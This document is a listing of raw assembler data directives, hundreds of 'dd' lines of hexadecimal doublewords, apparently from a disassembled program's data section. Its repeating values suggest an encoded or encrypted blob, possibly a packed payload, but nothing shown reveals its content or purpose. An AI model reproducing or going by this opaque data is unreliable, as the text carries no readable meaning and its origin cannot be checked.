		dd 63CC162Fh, 0C33FB814h, 0E5B56275h, 4484A20Dh, 0AC2A6387h
		dd 4484A21Dh, 0DF0D7512h, 0DB72470Ch, 8AB56274h, 559EC6C4h
		dd 0E5AAE75Bh, 457F024h, 826B2E9Ah, 0F05AEE4Fh,	755E224h
		dd 5672C23Ah, 0E5AAF696h, 22307AAFh, 5B9D6424h,	57E6BCECh
		dd 79DB9ABh, 0F3DFE124h, 66CE3EF8h, 62726DFFh, 4126CF45h
		dd 2D3FA509h, 8A9DBEB3h, 0F3001AB2h, 22307B7Dh,	60F65924h
		dd 4C321B7Ah, 2F444D24h, 21D8F4B8h, 503E6E52h, 0A16EF694h
		dd 3D2AD79Dh, 0E5AAF64Fh, 223132C3h, 5DC1E124h,	5B4E52FBh
		dd 904B01F4h, 223128A4h, 0B0F7E124h, 0E5AAF64Fh, 826B2E8Dh
		dd 0AFB987A6h, 0E43D2150h, 4875FDD9h, 2268672Fh, 5D78FF67h
		dd 0D195330Fh, 8248CDC6h, 1425B0ABh, 3C02808Bh,	6E41E848h
		dd 3B043F4Dh, 8156CE11h, 28FDD1C2h, 0EA50323Dh,	20BC13A8h
		dd 8D191F4h, 0D88F03B6h, 4052F481h, 1C98A80Bh, 6AEE0707h
		dd 51E54A3Eh, 0D3E679DCh, 2992A816h, 0E5AAF695h, 43B947A0h
		dd 0B4DAAB3h, 1D4617C4h, 0B7DD5C66h, 0B4B405F6h, 0EEA6CE6Ch
		dd 0F0270CFDh, 501F546h, 7A307372h, 222F81B6h, 0A7902901h
		dd 528CE5A8h, 31E2DCD8h, 74996927h, 0D72AF4E7h,	2AE6CE66h
		dd 0E5AAE06Eh, 779CEEF4h, 4763BA57h, 22A82760h,	0C94EC957h
		dd 0DB03E5C7h, 7B2A9ED1h, 61AAF658h, 93ACA6DEh,	5542F5B2h
		dd 61FB7341h, 2E49F570h, 704E35D2h, 185F73BDh, 0E5AAE749h
		dd 0C7ABC28Eh, 6BE8584Bh, 83C7E6BEh, 1C14A010h,	7DA567E6h
		dd 0E2447CCDh, 4EAAD594h, 0B3B5C2D2h, 0F344D447h, 9BAAF659h
		dd 5356A018h, 2858EC17h, 0A422C50Ch, 2858EF7Eh,	3 dup(2858EF8Bh)
		dd 3A393AA2h, 500DF78Bh, 0BBDEA1A1h, 604E8946h,	4CBD5B4Ch
		dd 35769F16h, 69C8F881h, 0F7DEA1A1h, 134E894Dh,	0DFB9A4F7h
		dd 0ABDD1A33h, 27805425h, 22F0FE48h, 8E9357F8h,	5E8F9D0Eh
		dd 5806743Bh, 0F2B2EE1Bh, 12E3247Ah, 0D60B0E83h, 0C7EBB45h
		dd 16FB4D32h, 65626DE5h, 0BB7801B3h, 0EFD12412h, 0A4B105DDh
		dd 5B8956A5h, 4C58B230h, 3368AABCh, 1DE4E8C0h, 0DDA17757h
		dd 970DF4C9h, 9A1788FCh, 0A7808B85h, 9B09024Dh,	5D175F51h
		dd 73C18B3Ah, 33E675Ch,	9EC600E0h, 358FD1CCh, 4958EF84h
		dd 7CE466E2h, 0E23F45B5h, 0B7CB8E2Eh, 0B71BD0B2h, 0C1798E19h
		dd 5E0C4F0Bh, 570D67E3h, 47E7F9F3h, 0B15DD931h,	3A36B5D3h
		dd 0A1CA8302h, 369BC90Eh, 982F714Dh, 7BC047EFh,	7BFB2906h
		dd 0ACBAD800h, 1DEC59BFh, 8F4A4183h, 71D21D1Bh,	2C5BF79Fh
		dd 57348673h, 0EDCD07B6h, 8B58EF84h, 51DF2CE6h,	88E19056h
		dd 251DE600h, 382C7E77h, 20FD90Ch, 0F20B73EFh, 4150247Ah
		dd 7D5F917Ah, 58BAC1A3h, 933C8D7Fh, 0C7DB3DDh, 6FBF83DAh
		dd 74ACCA49h, 0AE7D9ED0h, 1ABDCE7Ch, 0ED3E86F7h, 0D099FD30h
		dd 66B285CFh, 58773C34h, 0D6FF3B1h, 22325BDCh, 4358EF7Eh
		dd 0ABDD1C2Bh, 0DFB9A4FBh, 0ADBD36D5h, 0C6CB0A8Fh, 0CA6A1832h
		dd 98F702BEh, 0BD9AD3EBh, 0A38F1968h, 1024FA5Ch, 0AC4E4DEh
		dd 0C7DB4F2h, 7348CEA2h, 74ACCA49h, 0AE7D9ED0h,	0CD92CE7Ch
		dd 4A3B2099h, 0E013296Eh, 0C7E5B5Ah, 0D8979DFCh, 8F601B88h
		dd 0A774628Ah, 595376F3h, 45C6C00Fh, 0BE933B9Eh, 7758F9A4h
		dd 0C31161Ah, 165A7D13h, 6F25E937h, 70D34259h, 827972A9h
		dd 0EDE16B60h, 2D0017F3h, 0DF0D4DC2h, 0F999951Dh, 0E0B44557h
		dd 7E9B07E4h, 0F4A3C5C1h, 19A0ABA4h, 25A29FEEh,	0E4AD8631h
		dd 6AD07812h, 0BE0157AAh, 2858E850h, 0DE03D496h, 9D5F1C60h
		dd 61746E88h, 9B12556Ah, 0B2E56E90h, 0EA62C46Ch, 0D9F2D828h
		dd 0D047EF88h, 0FDE9FB8Ah, 16127824h, 2858E8CFh, 0BCBFE158h
		dd 86F18493h, 1546AFBBh, 73346B1Dh, 8DC85583h, 0C778FB64h
		dd 712CB514h, 6F576640h, 1B4A2631h, 1553A064h, 0B6B7DA73h
		dd 8BF722BFh, 0D6C8E3B0h, 0EB690D30h, 155B22D8h, 0EBB4F43Dh
		dd 8BDF3762h, 0B2BF5AF4h, 63862CD3h, 13A2EEE4h,	719A024Fh
		dd 0DA1E88F9h, 2DCD53C5h, 39DDBF19h, 0FABD7B87h, 0A2111831h
		dd 0B3CB880Fh, 5C75D192h, 0EE6B5759h, 68920104h, 0DF0D7190h
		dd 3072A51h, 104E3E71h,	39983A19h, 7874A361h, 34BFCCCEh
		dd 0C774DA19h, 377BED2h, 0E3F91ADAh, 71DCBD02h,	3285986h
		dd 56553F11h, 0C7ECEF81h, 11515630h, 82BBD727h,	4F52B3Bh
		dd 85BB412Bh, 0CD90006Fh, 261A7C7Ch, 56989B6h, 42089E91h
		dd 0B5457D43h, 8768752Eh, 20BB15E0h, 0E9036D2Fh, 0E2945AD7h
		dd 0D5774BB8h, 0E441BF5h, 10E1A3C3h, 2E15EBFFh,	97C1238Ch
		dd 26113715h, 0B29BC454h, 8549BDB1h, 24AE6E54h,	5936A26Eh
		dd 0AF85D8F0h, 4052D6A3h, 10DB9FD4h, 4FD61794h,	0F0B6E8A2h
		dd 0DFB7946h, 0ACAE042Eh, 4D1E7048h, 0D74C675Ch, 0E0A45585h
		dd 0FB3625B1h, 0F576D39Ch, 0A0176711h, 0AF5681E6h, 3A02E61Bh
		dd 9608BE54h, 9ECAD874h, 4358FEACh, 0E673472Dh,	927801AFh
		dd 0E0C6E985h, 94B8A78Eh, 99DFBD38h, 0FE6F5C37h, 8C5363EAh
		dd 7D594F1Eh, 0E3FB6EF5h, 6B40CE8Fh, 75BB1C43h,	0BC5ACFD7h
		dd 1BB23100h, 0B23897C9h, 4AC66BB5h, 7E9366FAh,	311D6FB1h
		dd 2DB50079h, 0AF87A8FEh, 0B3D208E7h, 0DF7246AAh, 0A89B19D2h
		dd 9D2D5683h, 53FB7B7Ah, 5CCE5252h, 76063378h, 2822C9AFh
		dd 0D6F6E486h, 77DB2A30h, 0D94C9218h, 0DBDAA8A2h, 0A345A5C9h
		dd 236D07BCh, 78C2761Fh, 0EFBADC50h, 0E68140E9h, 4D59BB14h
		dd 80920447h, 0A31A8865h, 2858EFECh, 5806C1F8h,	0DF85BBC4h
		dd 0D648A249h, 0FF122F4Ah, 0FA7EDD0Eh, 36FAE601h, 0FB75D195h
		dd 3CE8DF3Bh, 0A1E2D90Ch, 3CE8DF32h, 556BE087h,	1C89CC89h
		dd 0E475D6AFh, 5B529C18h, 2D191881h, 0F9C57702h, 2858ED44h
		dd 0C32F18F0h, 0D6418589h, 2CA6E238h, 0A0A9188Bh, 0D8EB1051h
		dd 2858E452h, 53DF708Bh, 0C158EFD7h, 0AE4180E1h, 0C90280E0h
		dd 0D8136E04h, 0A45301CBh, 48366061h, 11593888h, 0B367EB8h
		dd 10C71F57h, 0C34D9C0Bh
		dd 43DB5E38h, 0B5322CB8h, 9B68290h, 2CA6E00Ch, 0D6509D8Bh
		dd 0DA6F83F8h, 0CF2D0E15h, 2FA77C16h, 66DA2253h, 7644693Bh
		dd 0DE8E5CCDh, 0F9B26416h, 3C4C7A19h, 285BA5E5h, 0FBD3EF8Bh
		dd 9333602Eh, 9E294047h, 4D1D6A16h, 3576A716h, 265EB781h
		dd 694E007Eh, 775F2094h, 0A292CFC2h, 5FB42BC4h,	6449ED32h
		dd 304876DAh, 92F07B1Ch, 0B156065Bh, 0E65F6A81h, 32E6A9A8h
		dd 163A173Eh, 0FAD9AC93h, 134B33Fh, 4609A033h, 316ACEBDh
		dd 5C777E0Dh, 522CFB83h, 2089C006h, 86EFDF4Ch, 6CC50B54h
		dd 0DCF79C30h, 0BB02EDD0h, 15B956DFh, 2E4D95A8h, 0EA897E9Bh
		dd 85F66D51h, 8C7BCF4Ah, 202D1E0Ch, 0F68EBC6Eh,	3A17F9B0h
		dd 8858EF8Bh, 0CDAEB42Dh, 0D8698028h, 0EE6A7CF0h, 8158EC1Bh
		dd 0ED95B5FCh, 6A3BFD57h, 4CBDFDF2h, 3A39C017h,	284FEBB3h
		dd 0F525748Bh, 52E03F5h, 2527A655h, 190869F0h, 901BEF88h
		dd 8647C1D0h, 6774955h,	2E837153h, 0E935446Ah, 8AB89801h
		dd 3FC0A272h, 3C8EBC7Bh, 3358EF8Bh, 0D784BC02h,	13BE152Fh
		dd 698EBD83h, 0D78EB9E5h, 3A377F2Fh, 3F56EF8Bh,	1C37F131h
		dd 6272FE95h, 0F68EBCE1h, 3A17F3B0h, 8858EF8Bh,	0CDB8AB3Fh
		dd 0D86984B8h, 0F16A7CF0h, 3F58EC1Bh, 5653AC3Bh, 8F798C60h
		dd 6B32F42Fh, 0B491D105h, 0D21D152Ch, 44EFD3E1h, 204D776Dh
		dd 349D5CC7h, 0E8B0A79Ah, 4469E68Fh, 9E8A09E9h,	63C9E72Bh
		dd 798AE9D2h, 86961B4h,	3633FA81h, 11E33F79h, 9FE96BFh
		dd 0E33CABF1h, 9865296Ch, 0E92CEC75h, 94848CCBh, 6327A2DAh
		dd 111347DAh, 5B2B82D7h, 7C0ADC1Ch, 84241F61h, 0DCCFD9B9h
		dd 80FFD54h, 0A2C733E2h, 7D489807h, 84C7E591h, 309BBEC4h
		dd 695E5CF6h, 0A692D5A1h, 48D91809h, 0CEDCC4F8h, 9346D82Ch
		dd 2DCBBACCh, 0A2D92E98h, 2AC7160Eh, 0FA0BC8B1h, 979FFC00h
		dd 334BB84Bh, 66C85895h, 0C4A80BEBh, 60B4B298h,	4974A6B8h
		dd 8861B81Ch, 8F586D60h, 0CFBA7DFCh, 459C8BCAh,	0E0DA15ECh
		dd 0FD1D39F6h, 91FBDCh,	0DD7DF38Eh, 68C733D3h, 4C0831BDh
		dd 0A5A32312h, 747A8839h, 0C6FC7FB8h, 9246922Dh, 0A13B8A25h
		dd 88255B86h, 9DC6586Ah, 6AC733E5h, 6DF27A3Bh, 5806B15Fh
		dd 0E259D2C9h, 17C696AEh, 2AC7036Bh, 1623BACCh,	0B9DB20FAh
		dd 2AC74EF3h, 0DA1E9CF9h, 75160BA1h, 0B7AE003h,	1651A6EEh
		dd 7D197F38h, 752E2822h, 0A37F96D6h, 991899C6h,	0E216A4C8h
		dd 5CF039ECh, 5A15C19Dh, 6F9D590Ah, 63224C4Bh, 160A6579h
		dd 1B812DC9h, 0F7137E1Fh, 14B68DEEh, 3E9DC6F8h,	65BA7FBCh
		dd 0A82D4E4Bh, 0C5559294h, 3417E6CEh, 0D255923Bh, 447191ECh
		dd 82D88C9Fh, 633F6891h, 0A37F963Fh, 0A4F20C3Ah, 0F484FC01h
		dd 2B3D0E80h, 0E5B0704Ch, 7868DB18h, 886846C6h,	2B558C4Ch
		dd 6883CE3Ch, 80080451h, 2E8CE077h, 49D5BA5Ch, 0DE7AF74Ah
		dd 6F9DC681h, 6F9DBB32h, 0B061E14Bh, 0A829A925h, 0C320C6C6h
		dd 9F3CD63Bh, 6FF7464Bh, 0EB0F0E39h, 306F0F0Bh,	0B1B012B0h
		dd 0E327C13Eh, 32979724h, 721C18BBh, 866767CEh,	4C422B62h
		dd 0EA5B1A7Ah, 14EE72CFh, 2730AAF5h, 0C8D76EBFh, 2 dup(0C8D7AAF8h)
		dd 0B9D7AAF8h, 0C6F8FEB0h, 0ABF4AE56h, 0BBC30269h, 99F29959h
		dd 0ADEC12C2h, 4DD76B44h, 4548B587h, 0C2AF8F14h, 5DE91867h
		dd 7E5A8159h, 34104593h, 15CBFEF1h, 62887146h, 0C125A7C9h
		dd 7056217Bh, 0D965B904h, 1C6E9451h, 0A245F349h, 0D5AE5EBh
		dd 0FAEFAC9Bh, 4CDE3AC6h, 67265648h, 14CB3EDh, 62DCBC2Eh
		dd 0E41FCA02h, 0CF7359A7h, 53AB53DFh, 31DE1340h, 4BB2D89Ah
		dd 2814F0CDh, 2619B3D2h, 1FA528BBh, 0D14E8F23h,	28FD979Fh
		dd 0C8B70E86h, 7E0FE4E2h, 6FCCEB67h, 0A2332A53h, 4B55EB38h
		dd 0D6D7AB64h, 0C125A53Dh, 0EE36D189h, 77BBD0ECh, 772C9557h
		dd 0F23A923Dh, 2208AAF5h, 3FA932CFh, 5F0497FCh,	0A062C816h
		dd 641CCD62h, 4148F8AEh, 0E5BD17A2h, 452DA3ECh,	30C89175h
		dd 744808C4h, 3D96EAAAh, 6490E6C1h, 0C4454D09h,	3618D7C5h
		dd 26B61395h, 0E8370A0Eh, 0E6D427Ah, 0D1C395B3h, 4B7A15FFh
		dd 4D7C1B71h, 0A06873B0h, 9000AAEDh, 82CD0759h,	46413348h
		dd 0AFBA07Ch, 0A439E2EBh, 7488DB13h, 98A66457h,	13E1502Eh
		dd 0CF2A0176h, 8F0EE78Eh, 45D7A0B9h, 0E8370572h, 0F6A4DC7Ah
		dd 0C7E5CEC9h, 357671B1h, 348CF7CBh, 1C88939h, 30E05CDAh
		dd 0C6C88939h, 0A3B89ACEh, 24B45427h, 52376891h, 0E8D01716h
		dd 0EFB788CCh, 810BFB10h, 20191270h, 23F7AD93h,	0C6DC33ECh
		dd 5F860503h, 3F66001Dh, 0E88CEC33h, 0E476AAF7h, 377006DBh
		dd 0A694503Bh, 7A2D2C70h, 460E3148h, 9054C087h,	811DA570h
		dd 6348B0D6h, 0C72FE5EBh, 0EB81BFCCh, 945676F5h, 42A2EB67h
		dd 996E506Bh, 0EB3EB38h, 200F9C16h, 904B48ECh, 0CE018B30h
		dd 59DC29D0h, 0C6F8DAFDh, 42E911F8h, 0B501B23Fh, 2813F938h
		dd 5E92D238h, 7BBFB866h, 0A2AF1845h, 0E6810352h, 13858CBAh
		dd 0C379E3A9h, 997D5E15h, 0B4D4E0F8h, 0AD2B4945h, 0E18C8563h
		dd 0CE10D966h, 8E2111B1h, 0C4DCAFC4h, 6CCF3B27h, 3BB941ADh
		dd 67D69A67h, 666680ADh, 5C04C3F2h, 503C387Eh, 5752860h
		dd 0D217999Ah, 0D6A4DE5Bh, 7F078944h, 8FF238FAh, 9367560Dh
		dd 0E3E6A83Eh, 0C6192734h, 0E5DA2CD2h, 0F8E6AA46h, 0AE04892Bh
		dd 22F81B8Bh, 561BA4E3h, 7D9C13D4h, 35E6AAD5h, 226225A6h
		dd 9693C62Eh, 8FCE802Ch, 352A484Ch, 1030F699h, 472DAA2Dh
		dd 424BBE14h, 0C4C17CC5h, 26173F14h, 12E8A436h,	0AB3DB916h
		dd 50D089C1h, 0DF57AED5h, 66F0F917h, 7ABD37E7h,	486E76FFh
		dd 1EABAB2h, 232D5251h,	0A553BAACh, 67445D0Eh, 66D9AAEEh
		dd 6D79DE85h, 3AC0368Dh, 25E52C29h, 53C83844h, 0D7B7EA3Dh
		dd 4AF76C48h, 8A317ADBh, 0B6B1C835h, 0C51F8800h, 0BB2365C2h
		dd 37AE5200h, 0C85F9E34h, 0D6AABB7Ah, 0E679A5B8h, 4A998A37h
		dd 6C113ABAh, 2C0D1B44h, 0F0CE8BD1h, 0E2260B45h, 0C8D8585Ch
		dd 0AC75BA71h, 7D63488Ch, 0D2F260F9h, 1DB7890Bh, 675C5799h
		dd 1FBE21BAh, 9D62C24Dh, 0B47CE967h, 4F659295h,	70488B7Ah
		dd 4E4345AFh, 90161C90h, 515C780Fh, 5993272Eh, 0A7555CE2h
		dd 669BA55Dh, 3F6C4246h, 0C35BDCA9h, 48F28446h,	0C946C288h
		dd 8A5C0AF8h, 31261B71h, 829EE1AEh, 0E18A03A3h,	9C62AC75h
		dd 3C3204BFh, 124CEE80h, 8C222C54h, 1256E6CFh, 14889DBBh
		dd 0BBFBDCCAh, 8EDDBAACh, 0E8DAB405h, 0B5C391CCh, 70887618h
		dd 0E4397DD3h, 88B3AF8Eh, 0C459A95h, 7059B48Eh,	0C083E5EBh
		dd 3AEFCCDBh, 0B915BAB8h, 4290700Eh, 0E4F257BFh, 0C3CDA281h
		dd 3DA24C92h, 0B9C8C50Fh, 0FBA88F3Eh, 90098AEDh, 0D9061C90h
		dd 220C0802h, 4EDE2C30h, 5717DC28h, 42296760h, 8459E720h
		dd 0E7BCFD02h, 5316B8A3h, 1CCD929Ah, 0F8C0ABD5h, 17B234E6h
		dd 979AE1D0h, 6D79DE85h, 368286BCh, 0A96246F9h,	558A4206h
		dd 0C5770EDAh, 0C4C5BB7Dh, 5A61F633h, 756912E4h, 791F3FF7h
		dd 1E36ADC6h, 0F68211D6h, 0F291BB6Fh, 140D40DAh, 0AA06EB84h
		dd 0A82A50FAh, 87E09A92h, 0B17E0ED4h, 5C70CA5Ch, 7722FB5Dh
		dd 59F66900h, 0A9002360h, 73A5B307h, 0DD0645AFh, 711378DEh
		dd 0A1D2BD7Dh, 49DB4FE0h, 50C539ABh, 0E0B61E27h, 756F17BAh
		dd 0D8359D68h, 8D80314Bh, 0A8B1F34Ch, 0FCB5D759h, 6E0E5A80h
		dd 868A1D71h, 0C8D7AD11h
		dd 0AD1790F8h, 786F01C9h, 0D46014F0h, 1084FB5Eh, 0F8C61F27h
		dd 8A030E19h, 0F8C61F1Dh, 9F69CD19h, 0E67D1B4Ch, 0E456957h
		dd 0C33B5594h, 59D7AAF8h, 7E3F2BCAh, 0C8D7ABFFh, 0D8B347FFh
		dd 7A0AF814h, 5CFEA59Ah, 8875CA02h, 0D4FEABFFh,	0C3AF580Ch
		dd 0C34E5927h, 269FDFBh, 0FD83D80Dh, 0BE38FE88h, 552E4A7Dh
		dd 0FC929C52h, 0FB992EC6h, 434AD26h, 0FF51D1E4h, 0F600944Fh
		dd 12661B39h, 0D26001B5h, 0E1DF3886h, 3F117422h, 0D5E54D63h
		dd 8C1784FFh, 0CE027208h, 6BC4151Ah, 0A3704EDBh, 0E13DC40Dh
		dd 8CF2EFE1h, 0E1D7AB2Ch, 0E99AB9CAh, 0DA1D042Ch, 8F7A490Ah
		dd 0A62969ADh, 0B489D338h, 67E03DF8h, 4B3EB978h, 49D3AB3Bh
		dd 2AA053AFh, 168071FDh, 788391F5h, 0E1AEC6DBh,	63DC7D69h
		dd 0EE34542Eh, 46C98246h, 0C4AEC6B8h, 2F1B1D2Ch, 168071ECh
		dd 788391F5h, 0E1AEC6DBh, 15545A69h, 0EE345437h, 30BC9A46h
		dd 0C49F5D4Dh, 0CDBE552Eh, 56ADB24Dh, 0EDAF69BCh, 308E5704h
		dd 0E1AEC6F7h, 352AC0A1h, 9F87543Bh, 0F946C0D6h, 0BAE4ABFCh
		dd 0B48229BDh, 0B1E4A016h, 4D0F7732h, 0C8D7A79Dh, 0C8D7A960h
		dd 9676C5F8h, 87AEB8FDh, 56DBC881h, 17AC17h, 0C4AEECF1h
		dd 23587F8h, 0A884DD30h, 0B48B4494h, 60013BF8h,	3FD7ABFFh
		dd 351C214Dh, 883903Bh,	4DADB62Ah, 54608B57h, 1BE20AF7h
		dd 24875435h, 40A9010Ch, 4EDBFB91h, 0CDBDA244h,	56ADB24Dh
		dd 0E4B5E2BCh, 2E3E05E0h, 0E1AEC6F7h, 352AC0A1h, 0A187543Bh
		dd 0C4AE2AF2h, 0E251A016h, 58B3F8EEh, 35161972h, 9112AB3Bh
		dd 0DD0517ACh, 68AB1A3Ah, 2E484778h, 0D8196B26h, 4DFEAAFBh
		dd 0B48420D1h, 5DDBF753h, 0C8EC2E04h, 151813C4h, 0B2BAA017h
		dd 4420DEF8h, 0D8197171h, 4DFEAAFBh, 0B48420D1h, 3C3AF753h
		dd 0C8EC2E57h, 2AA013C4h, 0F67E06B4h, 0ADA01F27h, 581D62A5h
		dd 0C8D79C65h, 20B8B625h, 0B0D49042h, 0C8D7582Dh, 0C8DD8070h
		dd 0DBC518F8h, 3D3F4059h, 0F29025F8h, 0F22CD7EBh, 0D56AAF5h
		dd 43CA212Ah, 0FCAF7AAAh, 0D7AAD2h, 0C8D85419h,	7FD6B800h
		dd 1AFF560h, 0BDA67550h, 2EBE7993h, 328915BAh, 12A8B86Eh
		dd 30AA9314h, 0FA57516Ah, 0BB4C27A6h, 0B4CF7E1Dh, 9AC17CFBh
		dd 0A6D7ABFFh, 7328A857h, 0C4EF2407h, 0E910B7D3h, 5063EEBCh
		dd 0B7456637h, 642D7E20h, 191EF157h, 3CFDCE05h,	6400AAF4h
		dd 2A2FA51Bh, 9D69DC87h, 3F826CD4h, 0CD18290Ch,	0A87577Eh
		dd 1CA80468h, 0C8D7AAD6h, 0C42450F7h, 0AFDF69F8h, 0CBB7CB48h
		dd 64E6A768h, 0EA9C6CB7h, 3AA79203h, 0C8D8576Bh, 0FE88698Fh
		dd 0B8E4022Ah, 25E3CF30h, 8615872Ch, 0D9931941h, 716CAAh
		dd 7F72C397h, 8608E6F0h, 7D57F41h, 2F38860h, 0E768C836h
		dd 171A4E64h, 861A2D87h, 0B08F4519h, 632B46A4h,	8E24ECA5h
		dd 12E46D51h, 0C4923C33h, 601A3C44h, 7EF6DE9h, 55B64987h
		dd 0A1882EEh, 7A2D5E7Ah, 0BCB1FD87h, 0CBA27DFBh, 901FF30Ch
		dd 0D1C4C0FCh, 0FFDB7EFAh, 861A2D87h, 42B5E7FDh, 0D2AABCA8h
		dd 9D8D6378h, 25DCC7BEh, 0F543A9F3h, 861A2DDEh,	84D9E701h
		dd 0C186C52Eh, 1A315B59h, 9B8C15D0h, 0F23028BCh, 0C16F1474h
		dd 8ADECF1Fh, 76B13C41h, 862146ABh, 8BB17CFAh, 0F26C3C41h
		dd 86213540h, 0FE891077h, 2AC103B8h, 32E5512Ah,	0FAC8117Ah
		dd 86FF42B6h, 0A9D0C741h, 0F92B485Bh, 0F3A7F713h, 86213413h
		dd 0E7F97CFAh, 0D35474E3h, 601A3C44h, 0F0F3B003h, 58FA45DDh
		dd 5E17D4Ah, 39A8E21Eh,	990AF387h, 394D54C6h, 39A79BDBh
		dd 10h dup(39A7B6EAh), 5CE7FEEAh, 16005D5Ah, 86927F7Ah
		dd 4A7C0CFh, 0AB9A470Fh, 38BFB6F3h, 0D2A79BD3h,	0D87E8EE5h
		dd 96B778EAh, 39A79BC6h, 3 dup(39A7B6EAh), 0AA7FF7EAh
		dd 39A7B6F3h, 3	dup(39A7B6EAh),	0CCE4B6EAh, 99A2CC10h
		dd 0BB73F869h, 844A86Eh, 1196055Dh, 41150E9Bh, 844A874h
		dd 3F386B1Dh, 2FF70E92h, 844A874h, 11961E79h, 47970E9Bh
		dd 844A874h, 3F2F0B91h,	27560E92h, 844A874h, 3F2F1955h
		dd 0D1980E92h, 844A882h, 3F381889h, 0EBC60E92h,	844A88Bh
		dd 3F386AEDh, 0CE700E92h, 844A882h, 11960921h, 0EFB70E9Bh
		dd 844A88Bh, 108EA67Dh,	0D3130E9Bh, 844A882h, 108EA665h
		dd 0EBC20E9Bh, 844A88Bh, 108E8C99h, 0EFB70E9Bh,	844A88Bh
		dd 108EA67Dh, 0EEBD0E9Bh, 844A88Bh, 108EA64Dh, 58540E9Bh
		dd 844A874h, 0DE60301h,	0FEC30E9Bh, 844A88Bh, 119605C5h
		dd 5AD00E9Bh, 844A874h,	11960571h, 0B430E9Bh, 844A88Bh
		dd 11960FB5h, 411E0E9Bh, 844A874h, 11960869h, 7CF2FF71h
		dd 844A039h, 13AD3410h,	9B06FF71h, 844A039h, 13AD3754h
		dd 173C4EEFh, 36304DFFh, 586DB6EAh, 51CD847Fh, 4A79A8E0h
		dd 0E8B45167h, 490E0115h, 0AB97B29Eh, 6848D61Ah, 14E1BCC2h
		dd 80A7B196h, 0D31C075Dh, 1871A882h, 3F3871A6h,	0A0DE35Bh
		dd 834BA86Eh, 2FAA1329h, 169E355Ch, 6AC9FE57h, 13AD3702h
		dd 0B6A64C18h, 0AB95B704h, 9F322BF3h, 0E00E0113h, 51D8BCA5h
		dd 179273E0h, 88B63C5Dh, 0DB2A9BCEh, 0AA7FF972h, 9F322BF3h
		dd 0E00E0113h, 51D8BCA5h, 179273E0h, 0DEF79D5Dh, 0B2CD8DFFh
		dd 3F386A76h, 7F229C22h, 7879F31Dh, 0AA7F7F69h,	0F68692E3h
		dd 7B416441h, 0A0E0122h, 0B4DF118Eh, 25C9B6EAh,	80013489h
		dd 6885D18Ch, 13AD37FEh, 0E379D186h, 0AA7FEC51h, 627F35C1h
		dd 6880B7A1h, 13AD37FEh, 51BFA7C8h, 7B32351Eh, 7F0E0122h
		dd 8469098Ch, 3586718Ch, 0E44BAD8Eh, 62A86069h,	0D7EEB366h
		dd 0ED01C4EAh, 2911604Bh, 0FA251AAh, 5351EF42h,	834870BEh
		dd 0B3F3119Bh, 0A0CAB6EAh, 39A86534h, 0F4EB26E4h, 0C6BB724h
		dd 0E47E8E26h, 3BA86638h, 0B8B77A6Eh, 0D44B9447h, 0DFA8641Ch
		dd 6289D8A3h, 0ED5D69A1h, 2906854Bh, 0FA251AAh,	5351EF42h
		dd 0D75515BEh, 51DD2620h, 0ACDCD6E0h, 879F82F3h, 0AC729928h
		dd 0E8174F3Ah, 0AA7F71CCh, 762C75E3h, 0AA7FF4F1h, 39A206EBh
		dd 0FE4ADFEAh, 0A9A79BD8h, 9B79D6B7h, 525CBCAEh, 6BA798DDh
		dd 0FAC3CAE4h, 0B25A3DD3h, 0F6DFB6F3h, 6BA79BD7h, 0E99E3DE1h
		dd 5717B196h, 0CC63B03Fh, 0A7623DD3h, 0ABDFB6F3h, 3BA86642h
		dd 0B8B77A6Eh, 0CAFFCBCAh, 39A2DE71h, 0EBF2D4EAh, 23B8C3D0h
		dd 3630EF02h, 0ECE666EAh, 0A3FFA195h, 6876B6EAh, 13AD3702h
		dd 0EC4A7E9Bh, 5A6AA86Eh, 0B13A95BEh, 8DEC0A0Eh, 0A5AAA87Bh
		dd 0AA7F7F01h, 52110AE3h, 1EB64340h, 5BDFB6F3h,	0A9A798DDh
		dd 0B13A9464h, 0B842B9A2h, 0E3710349h, 0C6802945h, 0D8823A20h
		dd 24AD189h, 0D585DEF5h, 0A879F81Ch, 0E863B3E3h, 0E372AEE6h
		dd 0AA7F75C4h, 4237F6E5h, 8786792Ah, 83D68EF5h,	0BD85D998h
		dd 0AA7F7FBBh, 0F690F2E3h, 1ACDB041h, 3F386A8Bh, 239CE35Bh
		dd 488CA86Eh, 18BB73EAh, 510E010Dh, 0D7EFBBDAh,	0E1DBFEEAh
		dd 7017B6EAh, 13A24340h, 0DBDFB196h, 0D585CF4Eh, 0AC4BF451h
		dd 3F386A7Bh, 239CE35Bh, 48A7A86Eh, 18BB72EBh, 510E010Dh
		dd 39A6ACDAh, 975BB7EAh, 0EA79BCEh, 51D80221h, 83E373E0h
		dd 0AEC494AAh, 0AC74500Fh, 807E623Ah, 0C4233D87h, 66DB6EBh
		dd 0EC832D2Ch, 0A6D6D202h, 7B409BCCh, 0F50E0122h, 6F3B0D51h
		dd 800E6234h, 0E3729587h, 39A79BCDh, 0D3E9F0DFh, 0CB6DB6EAh
		dd 71D45BD5h, 0D9F99E6Ah, 6ACAB3B4h, 13AD37FEh,	25950C58h
		dd 4D790993h, 9DEDD18Ch, 924248DAh, 3D11CFEAh, 9E7D27E6h
		dd 103EF6CCh, 0A98D2B19h, 9F322BF3h, 0E00E0113h, 51C35B5Dh
		dd 0F10A73E0h, 0C0C0A18Eh, 6876B6F3h, 13AD3702h, 0CB5330F9h
		dd 687E1D90h, 13AD37FEh, 8DCD113Ah, 0C8CA8305h,	0D3BD7FEBh
		dd 3B52CB8Eh, 0D6D7F307h, 47A79BD1h, 31CB82Ch, 7B72283Eh
		dd 0E5E27AF6h, 39A7E571h, 586DB6EAh, 6B472C7Fh,	0ACC1E437h
		dd 9A3A444Ah, 5EA7A87Bh, 0C8C9EA92h, 0A3FACEEBh, 0D376B6EAh
		dd 13AD3413h, 13ABEE18h, 0EA0E0110h, 0E2EB1CA2h, 1E0E011Dh
		dd 2526551Ch, 4BA940E0h, 0BC4EA5D1h, 0D2A7B6F3h, 51D807DFh
		dd 29E4D8E0h, 0DE632E9h, 2E97B1F9h, 0AD6BD0D1h,	0D2A7B6F3h
		dd 51DD12B7h, 386473E0h, 420D8429h, 0C4EAF9BBh,	0EA79BCEh
		dd 51D7811Ch, 9A9675E0h, 8B5F5C42h, 39A9C2A5h, 556DEEAh
		dd 13D165D5h, 5D6BFB02h, 31A79BDBh, 0BF863EBAh,	31A79BD8h
		dd 0B4862F12h, 31A7B6F3h, 4F862F12h, 31A7B199h,	73E52F12h
		dd 0AC769B71h, 0E35E21D7h, 0BE9621FDh, 35C1EC1Ah, 2D87B6EAh
		dd 79B6D1C4h, 0A8F9DB86h, 85AB03BBh, 0ABB52BB3h, 658FF8C5h
